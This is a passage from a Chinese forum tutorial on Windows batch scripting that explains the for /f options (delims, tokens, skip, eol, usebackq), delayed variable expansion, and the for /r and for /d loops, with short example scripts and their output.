  如果别人给了你一个软件清单,每行都是"英文软件名(逗号)中文软件名"的格式,而你却只想保留英文名的时候,这段代码将是多么有用啊!再假设,有这么一个IP文件,第一列是数字格式的IP地址,第二列是具体的空间地址,列与列之间用逗号分隔,而你想提取其中数字格式的IP,呵呵,我不说你也知道该怎么办了吧?

  要是文本内容不是以逗号分隔,而是以其他符号分隔,那么,把"delims=,"的逗号换成相应的符号就可以了。

  在这里,我们引入了一个新的开关:"delims=,",它的含义是:以逗号作为被处理的字符串的分隔符号。

  在批处理中,指定分隔符号的方法是:添加一个形如 "delims=符号列表" 的开关,这样,被处理的每行字符串都会被符号列表中罗列出来的符号切分开来。

  需要注意的是:如果没有指定"delims=符号列表"这个开关,那么,for /f 语句默认以空格键或跳格键作为分隔符号。请把[txt1]中不同位置上的标点符号改为空格或跳格,再运行[code4]试试。


  进阶话题:如果我要指定的符号不止一个,该怎么办?

  在上面的讲解中,我提到了指定分隔符号的方法:添加一个形如"delims=符号列表"的开关。不知道你注意到没有,我的说法是"符号列表"而非"符号",这是大有讲究的,因为,你可以一次性指定多个分隔符号!

  还是以[txt1]为例,把[code6]再改造一下:

[code7]
@echo off
for /f "delims=.," %%i in (test.txt) do echo %%i
pause

  结果显示:

[result3]
论坛的目标是:不求最大
论坛地址:bbs
这里是:新手晋级的福地
请按任意键继续...

  这样,第一个点号或第一个逗号之前的内容都被提取出来了。

  [code7]的执行过程是:逐行读取test.txt中的内容,以点号和逗号切分每一行的内容(不存在点号和逗号的行,则不再切分,为了描述的方便,我们把被点号或逗号切分的一个一个的字符串片段,称之为节),然后,for /f 会提取第一节的内容作为最终结果,显示在屏幕上。需要注意的是,在这里,所有行的字符串被切分成了两个以上的节,但是,[code7]的代码只会提取第一节字符串的内容,因为 for /f 语句默认只提取第一节的符串。

                (三) 定点提取:tokens=

  上一节在讲解 delims= 的时候,我一再强调 for /f 默认只能提取到第一节的内容,现在我们来思考一个问题:如果我要提取的内容不在第一节上,那怎么办?

  这回,就该轮到 tokens= 出马了。

  tokens= 后面一般跟的是数字,如 tokens=2,也可以跟多个,但是每个数字之间用逗号分隔,如 tokens=3,5,8,它们的含义分别是:提取第2节字符串、提取第3、第5和第8节字符串。注意,这里所说的“节”,是由 delims= 这一开关划分的,它的内容并不是一成不变的。

  下面来看一个例子:
[txt2]
尺有所短,寸有所长,学好批处理没商量,考虑问题复杂化,解决问题简洁化。

  对[txt2]这段文本,假设它们保存在文件test.txt中,如果我想提取“学好批处理没商量”这句话,该如何写代码呢?

  我们稍微观察一下[txt2]就会发现,如果以逗号作为切分符号,就正好可以把“学好批处理没商量”化为单独的一“节”,结合上一节的讲解,我们知道,"delims=," 这个开关是不可缺少的,而要提取的内容在以逗号切分的第3节上,那么,tokens= 后面的数字就应该是3了,最终的代码如下:

[code8]
@echo off
for /f "delims=, tokens=3" %%i in (test.txt) do echo %%i
pause

  如果我们现在要提取的不只一个“节”,而是多个,那又怎么办呢?比如,要提取以逗号切分的第2节和第5节字符串,是写成这样吗?

[code9]
@echo off
for /f "delims=, tokens=2,5" %%i in (test.txt) do echo %%i
pause

  运行批处理后发现,执行结果只显示了第2节的内容。

  原来,echo 后面的 %%i 只接收到了 tokens=2,5 中第一个数值2所代表的那个字符串,而第二个数值5所代表的字符串因为没有变量来接收,所以就无法在执行结果中显示出来了。

  那么,要如何接收 tokens= 后面多个数值所指代的内容呢?

  for /f 语句对这种情况做如下规定:

  如果 tokens= 后面指定了多个数字,如果形式变量为%%i,那么,第一个数字指代的内容用第一个形式变量%%i来接收,第二个数字指代的内容用第二个形式变量%%j来接收,第三个数字指代的内容用第三个形式变量%%k来接收……第N个数字指代的内容用第N个形式变量来接收,其中,形式变量遵循字母的排序,第N个形式变量具体是什么符号,由第一个形式变量来决定:如果第一个形式变量是%%i,那么,第二个形式变量就是%%j;如果第一个形式变量用的是%%x,那么,第二个形式变量就是%%y。

  现在回头去看[code9],你应该知道如何修改才能满足题目的要求了吧?修改结果如下:

[code10]
@echo off
for /f "delims=, tokens=2,5" %%i in (test.txt) do echo %%i %%j
pause

  如果有这样一个要求:显示[txt2]中的内容,但是逗号要替换成空格,如何编写代码?

  结合上面所学的内容,稍加思索,你可能很快就得出了答案:

[code11]
@echo off
for /f "delims=, tokens=1,2,3,4,5" %%i in (test.txt) do echo %%i %%j %%k %%l %%m
pause

  写完之后,你可能意识到这样一个问题:假如要提取的“节”数不是5,而是10,或者20,或者更多,难道我也得从1写到10、20或者更多吗?有没有更简洁的写法呢?

  答案是有的,那就是:如果要提取的内容是连续的多“节”的话,那么,连续的数字可以只写最小值和最大值,中间用短横连接起来即可,比如 tokens=1,2,3,4,5 可以简写为 tokens=1-5 。

  还可以把这个表达式写得更复杂一点:tokens=1,2-5,tokens=1-3,4,5,tokens=1-4,5……怎么方便就怎么写吧。

  大家可能还看到一种比较怪异的写法:

[code12]
@echo off
for /f "delims=, tokens=1,*" %%i in (test.txt) do echo %%i %%j
pause

  结果,第一个逗号不见了,取代它的是一个空格符号,其余部分保持不变。

  其中奥妙就在这个星号上面。

  tokens=后面所接的星号具备这样的功能:字符串从左往右被切分成紧跟在*之前的数值所表示的节数之后,字符串的其余部分保持不变,整体被*所表示的一个变量接收。

  理论讲解是比较枯燥的,特别是为了严密起见,还使用了很多限定性的修饰词,导致句子很长,增加了理解的难度,我们还是结合[code12]来讲解一下吧。

  [txt2] 的内容被切分,切分符号为逗号,当切分完第一节之后,切分动作不再继续下去,因为 tokens=1,* 中,星号前面紧跟的是数字1;第一节字符串被切分完之后,其余部分字符串不做任何切分,整体作为第二节字符串,这样,[txt2]就被切分成了两节,分别被变量%%i和变量%%j接收。

  以上几种切分方式可以结合在一起使用。不知道下面这段代码的含义你是否看得懂,如果看不懂的话,那就运行一下代码,然后反复揣摩,你一定会更加深刻地理解本节所讲解的内容的:

[code13]
@echo off
for /f "delims=, tokens=1,3-4,*" %%i in (test.txt) do echo %%i %%j %%k %%l
pause

                (四) 跳过无关内容,直奔主题:skip=n

  很多时候,有用的信息并不是贯穿文本内容的始终,而是位于第N行之后的行内,为了提高文本处理的效率,或者不受多余信息的干扰,for /f 允许你跳过这些无用的行,直接从第N+1行开始处理,这个时候,就需要使用参数 skip=n,其中,n是一个正整数,表示要跳过的行数。例如:

[code14]
@echo off
for /f "skip=2" %%i in (test.txt) do echo %%i
pause

  这段代码将跳过头两行内容,从第3行起显示test.txt中的信息。


                (五) 忽略以指定字符打头的行:eol=

  在cmd窗口中敲入:for /?,相关的解释为:

  Quote:
eol=c           - 指一个行注释字符的结尾(就一个)



  Quote:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k

    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行……

  第一条解释狗屁不通,颇为费解:行注释字符的结尾是什么意思?“(就一个)”怎么回事?结合第二条解释,才知道eol有忽略指定行的功能。但是,这两条解释是互相矛盾的:到底是忽略以指定字符打头的行,还是忽略以指定字符结尾的行?

  实践是检验真理的唯一标准,还是用代码来检验一下eol的作用吧:
[code15]
@echo off
for /f "eol=;" %%i in (test.txt) do echo %%i
pause

  结果,那些以分号打头的行没有显示出来。

  由此可见,第二条解释是正确的,eol= 的准确含义是:忽略以指定字符打头的行。而第一条的“结尾”纯属微软在信口开河。

  那么,“(就一个)”又作何解释呢?

  试试这个代码:
[code16]
@echo off
for /f "eol=,;" %%i in (test.txt) do echo %%i
pause

  此时,屏幕上出现 此时不应有 ;"。 的报错信息。可见,在指定字符的时候,只能指定1个——在很多时候,我对这样的设计颇有微词而又无可奈何:为什么只能指定1个而不是多个?要忽略多个还得又是if又是findstr加管道来多次过滤,那效率实在太低下了——能用到的功能基本上都提供,但是却又做不到更好,批处理,你的功能为什么那么弱?

  不知道大家注意到没有,如果test.txt中有以分号打头的行,那么,这些行在代码[code14]的执行结果中将凭空消失。

  原来,for /f 语句是默认忽略以分号打头的行内容的,正如它默认以空格键或跳格键作为字符串的切分字符一样。

  很多时候,我们可以充分利用这个特点,比如,在设计即将用for读取的配置文件的时候,可以在注释文字的行首加上分号,例如在编写病毒文件查杀代码的时候,可以通过for语句来读取病毒文件列表,那么,病毒文件列表.ini这个配置文件可以这样写:

;以下是常见的病毒文件,请见一个杀一个^_^
;copyleft:没有
qq.exe
msn.exe
iexplore.exe

  如果要取消这个默认设置,可选择的办法是:

  1、为eol=指定另外一个字符;
  2、使用 for /f "eol=" 语句,也就是说,强制指定字符为空,就像对付delims=一样。


                (六)如何决定该使用 for /f 的哪种句式?(兼谈usebackq的使用)

  for /f %%i in (……) do (……) 语句有好几种变形语句,不同之处在于第一个括号里的内容:有的是用单引号括起来,有的是用双引号包住,有的不用任何符号包裹,具体格式为:

  1、for /f %%i in (文件名) do (……)
  2、for /f %%i in ('命令语句') do (……)
  3、for /f %%i in ("字符串") do (……)

  看到这里,我想很多人可能已经开始犯了迷糊了:如果要解决一个具体问题,面对这么多的选择,如何决定该使用哪一条呢?

  实际上,当我在上面罗列这些语句的时候,已经有所提示了,不知道你是否注意到了。

  如果你一时无法参透其中奥妙,那也无妨,请听我一一道来便是。

  1、当你希望读取文本文件中的内容的话,第一个括号中不用任何符号包裹,应该使用的是第1条语句;例如:你想显示test.txt中的内容,那么,就使用 for /f %%i in (test.txt) do echo %%i;
  2、当你读取的是命令语句执行结果中的内容的话,第一个括号中的命令语句必须使用单引号包裹,应该使用的是第2条语句;例如:你想显示当前目录下文件名中含有test字符串的文本文件的时候,应该使用 for /f %%i in ('dir /a-d /b *test*.txt') do echo %%i 这样的语句;
  3、当你要处理的是一个字符串的时候,第一个括号中的内容必须用双引号括起来,应该是用的是第3条语句;例如:当你想把bbs.bathome.cn这串字符中的点号换为短横线并显示出来的话,可以使用 for /f "delims=. tokens=1-3" %%i in ("bbs.bathome.cn") do echo %%i-%%j-%%k 这样的语句。

  很显然,第一个括号里是否需要用符号包裹起来,以及使用什么样的符号包裹,取决于要处理的对象属于什么类型:如果是文件,则无需包裹;如果是命令语句,则用单引号包裹;如果是字符串,则使用双引号括起来。

  当然,事情并不是绝对如此,如果细心的你想到了批处理中难缠的特殊字符,你肯定会头大如斗。

  或许你头脑中灵光一闪,已经想到了一个十分头痛的问题:在第1条语句中,如果文件名中含有空格或&,该怎么办?

  照旧吗?

  拿个叫 test 1.txt 的文件来试试。

  你很快写好了代码,新建文件-->码字-->保存为批处理,前后费时不到1分钟:
[code17]
@echo off
for /f %%i in (test 1.txt) do echo %%i
pause

  你兴冲冲地双击批处理,运行后,屏幕上出现了可耻的报错信息:系统找不到文件 test 。

  当你把 test 1.txt 换成 test&1.txt 后,更怪异的事情发生了:CMD窗口在你眼前一闪而过,然后,优雅地消失了。

  你可能觉得自己的代码写错了某些符号,你再仔细的检查了一次,确认没有笔误,然后,你再次双击批处理,结果问题照旧;你开始怀疑其他程序对它可能有影响,于是关掉其他窗口,再运行了一次,问题依旧;你不服气地连续运行了好几次,还是同样的结果。

  怪哉!

  你一拍大腿,猛然想起了一件事:当路径中含有特殊字符的时候,应该使用引号把路径括起来。对,就是它了!

  但是,当你把代码写出来之后,你很快就焉了:for /f %%i in ("test 1.txt") do echo %%i,这不就是上面提到的第3条 for /f 命令的格式吗?批处理会把 test 1.txt 这个文件名识别为字符串啊!

  你百无聊赖地在CMD窗口中输入 for /? ,并重重地敲下了回车,漫无目的地在帮助信息中寻找,希望能找到点什么。

  结果还真让你到了点什么。

  你看到了这样的描述:
        usebackq        - 指定新语法已在下类情况中使用:
                          在作为命令执行一个后引号的字符串并且一个单
                          引号字符为文字字符串命令并允许在 filenameset
                          中使用双引号扩起文件名称。

  但是,通读一遍之后,你却如坠五里雾中,不知所云。

  还好,下面有个例子,并配有简单的说明:

      FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    会枚举当前环境中的环境变量名称。

  你仔细对比了for /f语句使用usebackq和不使用usebackq时在写法上的差别,很快就找到了答案:当使用了usebackq之后,如果第一个括号中是一条命令语句,那么,就要把单引号'改成后引号`(键盘左上角esc键下面的那个按键,与~在同一键位上)。

  回过头去再看那段关于usebackq的描述,字斟句酌,反复揣摩,终于被你破译了天机:usebackq 是一个增强型参数,当使用了这个参数之后,原来的for语句中第一个括号内的写法要做如下变动:如果第一个括号里的对象是一条命令语句的话,原来的单引号'要改为后引号`;如果第一个括号里的对象是字符串的话,原来的双引号"要改为单引号';如果第一个括号里的对象是文件名的话,要用双引号"括起来。

  验证一下,把[code17]改写成如下代码:
[code18]
@echo off
for /f "usebackq" %%i in ("test 1.txt") do echo %%i
pause

  测试通过!

  此时,你很可能会仰天长叹:Shit,微软这该死的机器翻译!

  至于把[code17]代码中的空格换成&后,CMD窗口会直接退出,那是因为&是复合语句的连接符,CMD在预处理的时候,会优先把&前后两部分作为两条语句来解析,而不是大家想象中的一条完整的for语句,从而产生了严重的语法错误。因为牵涉到预处理机制问题,不属于本节要讨论的内容,在此不做详细讲解。

  这个时候,我们会吃惊地发现,区区一条for语句,竟然有多达6种句型:

  1、for /f %%i in (文件名) do (……)
  2、for /f %%i in ('命令语句') do (……)
  3、for /f %%i in ("字符串") do (……)
  4、for /f "usebackq" %%i in ("文件名") do (……)
  5、for /f "usebackq" %%i in (`命令语句`) do (……)
  6、for /f "usebackq" %%i in ('字符串') do (……)

  其中,4、5、6由1、2、3发展而来,他们有这样的对应关系:1-->4、2-->5、3-->6。

  好在后3种情形并不常用,所以,牢牢掌握好前三种句型的适用情形就可以了,否则,要在这么多句型中确定选择哪一条语句来使用,还真有点让人头脑发懵。

  至于 for /f 为什么要增加usebacq参数,我只为第4条语句找到了合理的解释:为了兼容文件名中所带的空格或&。它在第5、6条语句中为什么还有存在的必要,我也不是很明白,这有待于各位去慢慢发现。


                (七)变量延迟详解[2009.2.12更新]

  变量延迟在for语句中起着至关重要的作用,不只是在for语句中,在其他的复合语句中,它也在幕后默默地工作着,为了突出它的重要性,本节内容在单独的楼层中发出来,希望引起大家的重视。

  对于批处理新手而言,“变量延迟”这个概念很可能闻所未闻,但是,它却像一堵横亘在你前进道路上的无形高墙,你感受不到它的存在,但当你试图往前冲时,它会把你狠狠地弹回来,让你无法逾越、无功而返;而一旦找到了越过它的方法,你就会发现,在for的世界里,前面已经是一片坦途,而你对批处理的理解,又上升到了一个新的境界。

  例如,你编写了这样一个代码:
[code19]
@echo off
set num=0&&echo %num%
pause

  你的本意是想对变量num赋值之后,再把这个值显示出来,结果,显示出来的并不是0,而是显示:ECHO 处于关闭状态。

  之所以会出错,是因为“变量延迟”这个家伙在作怪。

  在讲解变量延迟之前,我们需要了解一下批处理的执行过程,它将有助于我们深入理解变量延迟。

  批处理的执行过程是怎样的呢?

  “自上而下,逐条执行”,我想,这个经典的说法大家都已经耳熟能详了,没事的时候倒着念,也还别有一番古韵呢^_^,但是,我想问大家的是,大家真的深刻地理解了这句话的含义了吗?

  “自上而下”,这一条和我们本节的讲解关系不大,暂时略过不说,后一条,“逐条执行”和变量延迟有着莫大的干系,它是我们本节要关注的重点。

  很多人往往认为一行代码就是一条语句,从而把“逐条执行”与“逐行执行”等同起来,这就大错特错了。

  莫非“逐条执行”里暗藏着玄机?

  正是如此。

  “逐条”并不等同于“逐行”。这个“条”,是“一条完整的语句”的意思,并不是指“一行代码”。在批处理中,是不是一条完整的语句,并不是以行来论的,而是要看它的作用范围。

  什么样的语句才算“一条完整的语句”呢?

  1、在复合语句中,整个复合语句是一条完整的语句,而无论这个复合语句占用了多少行的位置。常见的复合语句有:for语句、if……else语句、用连接符&、||和&&连接的语句,用管道符号|连接的语句,以及用括号括起来的、由多条语句组合而成的语句块;
  2、在非复合语句中,如果该语句占据了一行的位置,则该行代码为一条完整的语句。
  例如:

[code20]
@echo off
set num=0
for /f %%i in ('dir /a-d /b *.exe') do (
    set /a num+=1
    echo num 当前的值是 %num%
)
echo 当前目录下共有 %num% 个exe文件
dir /a-d /b *.txt|findstr "test">nul&&(
    echo 存在含有 test 字符串的文本本件
)||echo 不存在含有 test 字符串的文本文件
if exist test.ini (
    echo 存在 test.ini 文件
) else echo 不存在 test.ini 文件
pause

  上面的代码共有14行,但是只有完整的语句只有7条,它们分别是:
  第1条:第1行的echo语句;
  第2条:第2行的set语句;
  第3条:第3、4、5、6行上的for复合语句;
  第4条:第7行的echo语句;
  第5条:第8、9、10行上用&&和||连接的复合语句;
  第6条:第11、12、13行上的if……else复合语句;
  第7条:第14行上的pause语句。

  在这里,我之所以要花这么长的篇幅来说明一行代码并不见得就是一条语句,是因为批处理的执行特点是“逐条”执行而不是“逐行”执行,澄清了这个误解,将会更加理解批处理的预处理机制。

  在代码“逐条”执行的过程中,cmd.exe这个批处理解释器会对每条语句做一些预处理工作,这就是批处理中大名鼎鼎的“预处理机制”。预处理的大致情形是这样的:首先,把一条完整的语句读入内存中(不管这条语句有多少行,它们都会被一起读入),然后,识别出哪些部分是命令关键字,哪些是开关、哪些是参数,哪些是变量引用……如果代码语法有误,则给出错误提示或退出批处理环境;如果顺利通过,接下来,就把该条语句中所有被引用的变量及变量两边的百分号对,用这条语句被读入内存之就已经赋予该变量的具体值来替换……当所有的预处理工作完成之后,批处理才会执行每条完整语句内部每个命令的原有功能。也就是说,如果命令语句中含有变量引用(变量及紧邻它左右的百分号对),并且某个变量的值在命令的执行过程中被改变了,即使该条语句内部的其他地方也用到了这个变量,也不会用最新的值去替换它们,因为某条语句在被预处理的时候,所有的变量引用都已经被替换成字符串常量了,变量值在复合语句内部被改变,不会影响到语句内部的其他任何地方。

  顺便说一下,运行代码[code20]之后,将在屏幕上显示当前目录下有多少个exe文件,是否存在含有 test 字符串的文本文件,以及是否存在 test.ini 这个文件等信息。让很多人百思不得其解的是:如果当前目录下存在exe文件,那么,有多少个exe文件,屏幕上就会提示多少次 "num 当前的值是 0" ,而不是显示1到N(N是exe文件的个数)。

  结合上面两个例子,我们再来分析一下,为什么这两段代码的执行结果和我们的期望有一些差距。

  在[code19]中,set num=0&&echo %num%是一条复合语句,它的含义是:把0赋予变量num,成功后,显示变量num的值。

  虽然是在变量num被赋值成功后才显示变量num的值,但是,因为这是一条复合语句,在预处理的时候,&&后的%num%只能被set语句之前的语句赋予变量num的具体值来替换,而不能被复合语句内部、&&之前的set语句对num所赋予的值来替换,可见,此num非彼num。可是,在这条复合语句之前,我们并没有对变量num赋值,所以,&&之后的%num%是空值,相当于在&&之后只执行了 echo 这一命令,所以,会显示 echo 命令的当前状态,而不是显示变量num的值(虽然该变量的值被set语句改变了)。

  在[code20]中,for语句的含义是:列举当前目录下的exe文件,每发现一个exe文件,变量num的值就累加1,并显示变量num的值。

  看了对[code19]的分析之后,再来分析[code20]就不再那么困难了:第3、4、5行上的代码共同构成了一条完整的for语句,而语句"echo num 当前的值是 %num%"与"set /a num+=1"同处复合语句for的内部,那么,第4行上set改变了num的值之后,并不能对第5行上的变量num有任何影响,因为在预处理阶段,第5行上的变量引用%num%已经被在for之前就赋予变量num的具体值替换掉了,它被替换成了0(是被第2行上的set语句赋予的)。

  如果想让代码[code19]的执行结果中显示&&之前赋予num的值,让代码[code20]在列举exe文件的时候,从1到N地显示exe文件的数量,那又该怎么办呢?

  对代码[code19],可以把用&&连接复合语句拆分为两条单独的语句,写成:

@echo off
set num=0
echo %num%
pause

  但是,这不是我们这次想要的结果。

  对这两段代码都适用的办法是:使用变量延迟扩展语句,让变量的扩展行为延迟一下,从而获取我们想要的值。

  在这里,我们先来充下电,看看“变量扩展”有是怎么一回事。

  用CN-DOS里批处理达人willsort的原话,那就是:“在许多可见的官方文档中,均将使用一对百分号闭合环境变量以完成对其值的替换行为称之为“扩展(expansion)”,这其实是一个第一方的概念,是从命令解释器的角度进行称谓的,而从我们使用者的角度来看,则可以将它看作是引用(Reference)、调用(Call)或者获取(Get)。”(见:什么情况下该使用变量延迟?http://www.cn-dos.net/forum/viewthread.php?tid=20733)说得直白一点,所谓的“变量扩展”,实际上就是很简单的这么一件事情:用具体的值去替换被引用的变量及紧贴在它左右的那对百分号。

  既然只要延迟变量的扩展行为,就可以获得我们想要的结果,那么,具体的做法又是怎样的呢?

  一般说来,延迟变量的扩展行为,可以有如下选择:

  1、在适当位置使用 setlocal enabledelayedexpansion 语句;
  2、在适当的位置使用 call 语句。

  使用 setlocal enabledelayedexpansion 语句,那么,[code19]和[code20]可以分别修改为:

@echo off
setlocal enabledelayedexpansion
set num=0&&echo !num!
pause

@echo off
set num=0
setlocal enabledelayedexpansion
for /f %%i in ('dir /a-d /b *.exe') do (
    set /a num+=1
    echo num 当前的值是 !num!
)
echo 当前目录下共有 %num% 个exe文件
dir /a-d /b *.txt|findstr "test">nul&&(
    echo 存在含有 test 字符串的文本本件
)||echo 不存在含有 test 字符串的文本文件
if exist test.ini (
    echo 存在 test.ini 文件
) else 不存在 test.ini 文件
pause

  使用第call语句,那么,[code19]和[code20]可以分别修改为:

@echo off
set num=0&&call echo %%num%%
pause

@echo off
set num=0
for /f %%i in ('dir /a-d /b *.exe') do (
    set /a num+=1
    call echo num 当前的值是 %%num%%
)
echo 当前目录下共有 %num% 个exe文件
dir /a-d /b *.txt|findstr "test">nul&&(
    echo 存在含有 test 字符串的文本本件
)||echo 不存在含有 test 字符串的文本文件
if exist test.ini (
    echo 存在 test.ini 文件
) else 不存在 test.ini 文件
pause

  由此可见,如果使用 setlocal enabledelayedexpansion 语句来延迟变量,就要把原本使用百分号对闭合的变量引用改为使用感叹号对来闭合;如果使用call语句,就要在原来命令的前部加上 call 命令,并把变量引用的单层百分号对改为双层。 其中,因为call语句使用的是双层百分号对,容易使人犯迷糊,所以用得较少,常用的是使用 setlocal enabledelayedexpansion 语句(set是设置的意思,local是本地的意思,enable是能够的意思,delayed是延迟的意思,expansion是扩展的意思,合起来,就是:让变量成为局部变量,并延迟它的扩展行为)。

  通过上面的分析,我们可以知道:
  1、为什么要使用变量延迟?因为要让复合语句内部的变量实时感知到变量值的变化。
  2、在哪些场合需要使用变量延迟语句?在复合语句内部,如果某个变量的值发生了改变,并且改变后的值需要在复合语句内部的其他地方被用到,那么,就需要使用变量延迟语句。而复合语句有:for语句、if……else语句、用连接符&、||和&&连接的语句、用管道符号|连接的语句,以及用括号括起来的、由多条语句组合而成的语句块。最常见的场合,则是for语句和if……else语句。
  3、怎样使用变量延迟?
  方法有两种:
  ① 使用 setlocal enabledelayedexpansion 语句:在获取变化的变量值语句之前使用setlocal enabledelayedexpansion,并把原本使用百分号对闭合的变量引用改为使用感叹号对来闭合;
  ② 使用 call 语句:在原来命令的前部加上 call 命令,并把变量引用的单层百分号对改为双层。

  “变量延迟”是批处理中一个十分重要的机制,它因预处理机制而生,用于复合语句,特别是大量使用于强大的for语句中。只有熟练地使用这一机制,才能在for的世界中如鱼得水,让自己的批处理水平更上一层楼。很多时候,对for的处理机制,我们一直是雾里看花,即使偶有所得,也只是只可意会难以言传。希望大家反复揣摩,多加练习,很多细节上的经验,是只有通过大量的摸索才能得到的。Good Luck!

  本节内容在原理上参考了这篇文章:什么情况下该使用变量延迟?http://www.cn-dos.net/forum/viewthread.php?tid=20733,在本论坛中的地址是:http://bbs.bathome.cn/viewthread.php?tid=2899
  特别鸣谢:willsort。


                四、翻箱倒柜遍历文件夹:for /r

                (一)for /r 的作用及用法

  按照帮助信息里文绉绉的说法,for /r 的作用是“递归”,我们换一个通俗一点的,叫“遍历文件夹”。

  更详细的解释就是:在下面的语句中,如果“元素集合”中只是一个点号,那么,这条语句的作用就是:列举“目录”及其之下的所有子目录,对这些文件夹都执行“命令语句集合”中的命令语句。其作用与嵌套进 for /f 复合语句的 "dir /ad /b /s 路径" 功能类似。如果省略了“目录”,将在当前目录下执行前面描述的操作。

  Quote:
for /r 目录 %%i in (元素集合) do 命令语句集合

  先来个代码增强一下印象:

[code21]
@echo off
for /r d:\test %%i in (.) do echo %%i
pause

  执行的结果如下所示:

  Quote:
d:\test\.
d:\test\1\.
d:\test\2\.
d:\test\3\.

  效果就是显示 d:\test 目录及其之下是所有子目录的路径,其效果与 dir /ad /b /s d:\test 类似。若要说到两者的区别,可以归纳出3点:

  1、for /r 列举出来的路径最后都带有斜杠和点号,而 dir 语句则没有,会对获取到的路径进行进一步加工产生影响;
  2、for /r 不能列举带隐藏属性的目录,而 dir 语句则可以通过指定 /a 后面紧跟的参数来获取带指定属性的目录,更加灵活;
  3、若要对获取到的路径进行进一步处理,则需要把 dir 语句放入 for /f 语句中进行分析,写成 for /f %%i in ('dir /ad /b /s') do …… 的形式;由于 for /r 语句是边列举路径边进行处理,所以,在处理大量路径的时候,前期不会感到有停顿,而 for /f 语句则需要等到 dir /ad /b /s 语句把所有路径都列举完之后,再读入内存进行处理,所以,在处理大量路径的时候,前期会感到有明显的停顿。

  第2点差别很容易被大家忽视,导致用 for /r 列举路径的时候会造成遗漏;而第3点则会让大家有更直观的感受,很容易感觉到两者之间的差别。

  要是“元素集合”不是点号呢?那又如何?

  来看看这个代码:

[code22]
@echo off
for /r d:\test %%i in (a b c) do echo %%i
pause

  运行的结果是:

  Quote:
D:\test\1\a
D:\test\1\b
D:\test\1\c
D:\test\2\a
D:\test\2\b
D:\test\2\c
D:\test\3\a
D:\test\3\b
D:\test\3\c

  原来,它的含义是:列举 d:\test 及其所有的子目录,对所有的目录路径都分别添加a、b、c之后再显示出来。

  再来看一个代码:
[code23]
@echo off
for /r d:\test %%i in (*.txt) do echo %%i
pause

  运行结果是:

  Quote:
D:\test\test.txt
D:\test\1\1.txt
D:\test\1\2.txt
D:\test\2\a.txt
D:\test\2\b.txt
D:\test\3\1.txt

  这段代码的含义是:列举 d:\test 及其所有子目录下的txt文本文件(以.txt结尾的文件夹不会被列出来)。

  我们再回过头来归纳一下这个语句的作用:

  Quote:
for /r 目录 %%i in (元素集合) do 命令语句集合

  上面语句的作用是:

  1、列举“目录”及该目录路径下所有子目录,并把列举出来的目录路径和元素集合中的每一个元素拼接成形如“目录路径\元素”格式的新字符串,然后,对每一条这样的新字符串执行“命令语句集合”中的每一条命令;
  特别的是:当“元素集合”带以点号分隔的通配符?或*的时候,把“元素集合”视为文件(不视为文件夹),整条语句的作用是匹配“目录”所指文件夹及其所有子文件夹下匹配的文件;若不以点号分隔,则把“元素集合”视为文件夹(不视为文件);
  2、当省略掉“目录”时,则针对当前目录;
  3、当元素集合中仅仅是一个点号的时候,将只列举目录路径;


                (二)for /r 还是 dir /ad /b /s?列举目录时该如何选择

  前面已经说过,当列举目录时,for /r 和 dir /ad /b /s 的效果是非常类似的,这就产生了一个问题:当我要获取目录路径并进行进一步处理的时候,两者之间,我该如何选择?

  这个问题,前面其实已经有过一些讨论,现在我们再来作详细的分析。

  我们来看一下两者各自的优缺点:

  1、for /r:

    1)优点:

    ① 只通过1条语句就可以同时实现获取目录路径和处理目录路径的操作;
    ② 遍历文件夹的时候,是边列举边处理的,获取到一条路径就处理一条路径,内存占用小,处理大量路径的时候不会产生停顿感;

    2)缺点:
    ① 不能获取到带隐藏属性的目录,会产生遗漏;
    ② 不能获取带指定属性的目录

  2、dir /ad /s:

    1)优点:

    ① 能一次性获取带任意属性的目录,不会产生遗漏;
    ② 能通过指定不同的参数获取带任意属性的目录,更具灵活性。

    2)缺点:
    ① dir /ad /s 语句仅能获取到目录路径,若要实现进一步的处理,还需要嵌入 for /f 语句中才能实现,写法不够简洁;
    ② 嵌入 for /f 语句之后,需要写成 for /f "delims=" %%i in ('dir /ad /b /s') do …… 的格式,受 for /f 语句运行机制的制约,需要先列举完所有的路径放入内存之后,才能对每一条路径进行进一步的处理,处理大量路径时,内存占用量偏大,并且在前期会产生明显的停顿感,用户体验度不够好;

  综合上述分析,可以做出如下选择:

  1、若仅仅是为了获取某文件夹及其所有子文件夹的路径的话,请选择 dir /ad /b /s 语句;
  2、若需要过滤带隐藏属性的文件夹的话,for /r 和 dir 语句都可以实现,但 for /r 内存占用小,处理速度快,是上上之选;
  3、若需要获取所有文件夹,则除了 dir /ad /b /s 外,别无选择,因为 for /r 语句会遗漏带隐藏属性的文件夹;

  在实际的使用中,我更喜欢使用 for /f 和 dir 的组合,因为它不会产生遗漏,并能给我带来更灵活的处理方式,唯一需要忍受的,就是它在处理大量路径时前期的停顿感,以及在这背后稍微有点偏高的内存占用;在我追求速度且可以忽略带隐藏属性的目录的时候,我会换用 for /r 的方案,不过这样的情形不多——有谁会愿意为了追求速度而容忍遗漏呢?


                五、仅仅为了匹配第一层目录而存在:for /d

  for /d 中 /d ,完整的含义是 /directory,本意是为了处理文件夹,它的完整语句应该是这样的:

  Quote:
for /d %%i in (元素集合) do 命令语句集合

  当“元素集合”中包含有通配符?或*时,它会匹配文件夹,但是,相比 for /r 而言,这个时候的for /d,其作用就小得可怜了:它仅能匹配当前目录下的第一级文件夹,或是指定位置上的文件夹,而不能匹配更深层次的子文件夹。

  例如:for /d %%i in (d:\test*) do echo %%i 这样的语句 ,会匹配到形如:d:\test、d:\test1、d:\test2之类的文件夹,若不存在这样的路径,将不会有任何回显。

  当“元素集合”中不包含任何的通配符时,它的作用和 "for %%i in (元素集合) do 命令语句集合" 这样的语句别无二致。

  因此,for /d 的角色就变得很微妙了:当“元素集合”中包含通配符?或*时,它的作用就是匹配文件夹,此时,它仅能匹配当前目录下的第一级文件夹,或是指定位置上的文件夹,在层次深度上不及 for /r,但和 for /r 一样的坏脾气:不能匹配带隐藏属性的文件夹;在灵活性上不及for /f和dir的组合;当“元素集合”中不包含任何统配符的时候,它完全是 "for %%i in (元素集合) do ……" 语句的翻版,但是又稍显复杂。

  for /d 的作用是如此有限,我使用的次数是如此之少,以至于我一度找不到它的用武之地,认为它食之无味,弃之可惜,完全是鸡肋一块。

  某年某月,我在cmd窗口里写下了这样的代码:

[code24]
for /d %i in (test*) do @echo %i

